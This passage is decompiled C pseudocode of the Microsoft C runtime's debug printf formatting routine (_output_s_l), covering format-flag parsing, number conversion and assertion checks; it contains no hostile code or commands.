											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E00B855B0(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E00B85630( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L00B7EB20( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00B77B58) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0xb77b78) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0xb77b78) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00B95CD0))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E00B91090( *(_t701 - 0x251) & 0x000000ff, E00B7C680(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00B95DE0( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00B95DE0( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L00B7D760();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00B80C60(_t616))) = 0x16;
																									E00B809F0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E00B7C650(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0xb95d08; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00B95CF0))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0xb95d30; // 0x553e9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M00B95D1C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push( &M00B77C38);
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L00B7D760();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00B80C60(_t618))) = 0x16;
																						E00B809F0(_t589, _t618, _t699, _t700,  &M00B77C38, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E00B7C650(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E00B805D0(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L00B7D760();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E00B7C650(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00B80C60(_t605))) = 0x16;
																				E00B809F0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E00B7C650(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E00B95E80(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E00B95EC0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E00B95E80(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E00B95EC0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E00B97890(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E00B95EC0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
																				E00B95E80(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0xb95d9c; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00B95D60))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00B93D50(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0xd121a0; // 0xb775a0
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L00B7DEA0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E00B7C680(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0xd12188; // 0xddc09d6c
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00B7C680(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0xd12194; // 0xddc09d6c
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00B7C680(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0xd12190; // 0xddc09d6c
																							E00B849C0(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00B93D50(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00B93D90(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00B97890(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00B93D50(__ebp + 0x14);
																			if(E00B97280() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L00B7D760();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00B80C60(__ecx))) = 0x16;
																				__eax = E00B809F0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E00B7C650(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
